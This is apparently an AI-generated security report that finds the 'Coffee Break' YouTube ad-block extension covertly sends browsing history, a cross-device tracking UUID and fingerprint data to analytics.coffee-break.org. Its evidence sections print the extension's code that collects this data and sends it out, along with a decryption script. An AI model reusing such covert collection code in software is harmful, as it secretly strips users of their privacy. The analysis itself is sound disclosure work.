Is YouTube AdBlock - Coffee Break for YouTube safe?

High risk

YouTube AdBlock - Coffee Break for YouTube transmits full browsing history and browser fingerprint to its developer analytics server on every page navigation.

On each tab update, the extension collects the current URL, referrer, user agent, language, OS and browser version, and timezone, encrypts the payload with a hardcoded AES-GCM key, and POSTs it to analytics.coffee-break.org. A persistent UUID stored in chrome.storage.sync ties these reports to a single user identity across all Chrome sessions and signed-in devices. The same UUID is also included in plain-text pings sent during YouTube ad-blocking activity.

Coffee Breakv1.6.0Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Full browsing history sent encrypted to analytics.coffee-break.org on every page

Every page-load, the worker sends its URL, referring URL, a tracking ID, and a browser fingerprint to analytics.coffee-break.org, AES-encrypted with a built-in key.

We decrypted traffic with that key, confirming visited URLs and a UUID.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You finish loading any web page in any tab.

Applies to every http and https URL, not just YouTube.

The extension did this

The extension sends the full address of that page, the page you came from, a tracking ID, and your browser fingerprint to analytics.coffee-break.org.

The transmission is encrypted with a key contained in the extension, so it is not visible in plain network logs.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://analytics.coffee-break.org/posthog
During dynamic analysis, five such POSTs were captured from the background service worker over a two-minute session covering navigations to x.com, en.wikipedia.org, www.youtube.com, and www.example.com. The body always has this shape; payload.data is the base64 of a 16-byte IV followed by the AES-GCM ciphertext and tag.
Headers
Content-Typeapplication/json;charset=utf-8
Body
{
  "event_id": 1,
  "payload": {
    "data": "k3Jp2mQ7Yb8nVqRzL4Xa1c9TfWdSg0HuEoI…base64(IV‖ciphertext‖GCM-tag)…"
  }
}
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The body sent to analytics.coffee-break.org carries only an encrypted blob in payload.data. The AES key needed to read it is hardcoded in the extension, so anyone with the extension can decrypt it. We did exactly that to recover the plaintext below.

What's actually being sent
[
  {
    "timestamp": "2026-06-15T12:11:13.402Z",
    "client_time": 1781568673402,
    "user_id": "282a90cd-bc17-45d0-b120-208b8e1dca5e",
    "source_page": null,
    "target_page": "https://en.wikipedia.org/wiki/Canary",
    "method": "GET",
    "protocol": "https:",
    "domain": "en.wikipedia.org",
    "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
    "accept_language": "en-US",
    "os_name": "Linux",
    "browser_name": "Chrome",
    "os_version": "x86_64",
    "browser_version": "128.0",
    "timeZone": "Europe/London"
  }
]
04EvidenceFIELD TABLE
Fields decrypted from each per-navigation POST to analytics.coffee-break.org
FieldValueWhy it matters
Page you visited
https://en.wikipedia.org/wiki/CanaryThe full address of the page that just finished loading, including path and query string.
Page you came from
https://www.google.com/search?q=canaryThe address of the previous page, building a trail of where you browsed before this one.
Persistent tracking ID
282a90cd-bc17-45d0-b120-208b8e1dca5eA UUID that stays the same across sessions and devices, letting every visit be tied back to the same browser.
Browser fingerprint
Chrome 128.0 / Linux x86_64 / en-US / Europe/LondonYour user agent, language, operating system, browser version, and time zone, which together help distinguish your device.
Timestamps
2026-06-15T12:11:13.402Z / 1781568673402The exact time of the visit, both ISO and epoch, recording when you were active.
05EvidenceCODE COMPARE
The code that does this

The navigation listener and the upload, from the extension's background script

What it actually does
analytics.js — builds the payload and POSTs it encryptedanalytics.js
this.reportAction = async function (page_url, source_url) {
  await this.getData();
  await this.sendData(await this.prepareRequest([{
    timestamp: (new Date()).toISOString(),
    client_time: Date.now(),
    user_id: this.data.uuid,
    source_page: source_url,
    target_page: page_url,
    domain: new URL(page_url).hostname || 'Unknown',
    user_agent: this.data.user_agent,
    accept_language: this.data.accept_language,
    os_name: this.data.os_name,
    browser_name: this.data.browser_name,
    os_version: this.data.os_version,
    browser_version: this.data.browser_version,
    timeZone: this.data.timeZone
  }]));
};

this.sendData = async function (analytics_payload) {
  var response = await fetch(analytics_url + '/posthog', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json;charset=utf-8' },
    body: JSON.stringify(analytics_payload),
    mode: 'cors'
  });
};

// initialization (end of file):
self.stat = new self.PageStatistics(
  '8b85e0449da1d2b9',
  '5c1bc97b4e7c5b48',          // <- AES key
  'https://analytics.coffee-break.org'
);
self.stat.init();
06EvidenceARTIFACT
Reproduce it yourself

Decrypts a captured payload.data value from a POST to analytics.coffee-break.org/posthog using the AES-128-GCM key hardcoded in the extension, recovering the plaintext browsing record.

RequiresNode.js 18+
decrypt-coffeebreak-payload.js · js
// Decrypt a captured analytics.coffee-break.org payload.
// Usage: node decrypt-coffeebreak-payload.js '<base64 payload.data value>'
// The key is the ASCII string hardcoded in analytics.js.
const crypto = require('crypto');

const KEY = Buffer.from('5c1bc97b4e7c5b48', 'utf8'); // 16 bytes -> AES-128-GCM
const b64 = process.argv[2];
if (!b64) { console.error('pass the base64 payload.data value'); process.exit(1); }

const blob = Buffer.from(b64, 'base64');
const iv  = blob.subarray(0, 16);
const tag = blob.subarray(blob.length - 16);
const ct  = blob.subarray(16, blob.length - 16);

const decipher = crypto.createDecipheriv('aes-128-gcm', KEY, iv);
decipher.setAuthTag(tag);
const pt = Buffer.concat([decipher.update(ct), decipher.final()]);
console.log(pt.toString('utf8'));
How to run it
  1. 1
    Capture a POST to analytics.coffee-break.org/posthog, copy payload.data from the body.
  2. 2
    Run: node decrypt-coffeebreak-payload.js '<base64 string>'.
  3. 3
    The printed JSON is the plaintext record: target_page (visited URL) and user_id.
SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Persistent cross-device tracking ID sent to analytics.coffee-break.org

On first run the extension makes a UUID, stored in chrome.storage.sync and synced to every device on the account.

It's sent as user_id to analytics.coffee-break.org: plain text in YouTube pings, encrypted in analytics POSTs.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension runs for the first time on a device.

It reads chrome.storage.sync for an existing tracking ID and creates one if absent.

The extension did this

It generates a UUID, stores it in Chrome sync so it follows you across devices, and attaches it as user_id to data sent to analytics.coffee-break.org.

Because it lives in sync storage, the same ID appears on every device signed into the same Google account.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://analytics.coffee-break.org/posthog
Captured from the YouTube content script during dynamic analysis. Two such pings (tag yt_success / yt_error) were sent on www.youtube.com, each carrying the tracking UUID in plain text. The same UUID also appeared in the encrypted background per-navigation POSTs.
Headers
Content-Typeapplication/json
Body
{
  "user_id": "282a90cd-bc17-45d0-b120-208b8e1dca5e",
  "tag": "yt_success"
}
03EvidenceSTORAGE DUMP
What's stored on your device

The persistent tracking ID, kept in Chrome sync storage so it copies to every device on your account and is restored after reinstall.

Locationchrome.storage.sync key 'user_stat_uuid'
Contents (JSON)
{
  "user_stat_uuid": "282a90cd-bc17-45d0-b120-208b8e1dca5e"
}
04EvidenceCODE COMPARE
The code that does this

Where the UUID is created and where it leaves the device

What it actually does
youtubeAdBlocker.js — reads the same UUID and pings it in plain textcontent/youtubeAdBlocker.js
async function letusknow(o) {
  var result = await chrome.storage.sync.get(['user_stat_uuid']);
  var uuid = result['user_stat_uuid'];
  if (!uuid) {
    uuid = crypto.randomUUID();
    chrome.storage.sync.set({ user_stat_uuid: uuid });
  }
  if (uuid && o === 1) {
    eventping({ user_id: uuid, tag: 'yt_success' });
  } else if (uuid && o === 0) {
    eventping({ user_id: uuid, tag: 'yt_error' });
  }
}

function eventping(data) {
  fetch('https://analytics.coffee-break.org/posthog', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(data)
  });
}
05EvidenceTHIRD PARTY LIST
Where the tracking ID is sent
  • analytics.coffee-break.org

    Developer analytics endpoint (/posthog). Gets the persistent user_id UUID in plain text from the YouTube content script, and encrypted with per-nav data from the service worker.

Data recipients

analytics.coffee-break.org
Updated 17 September 2026famhaodemcealnpfepcfbnofjjcccjap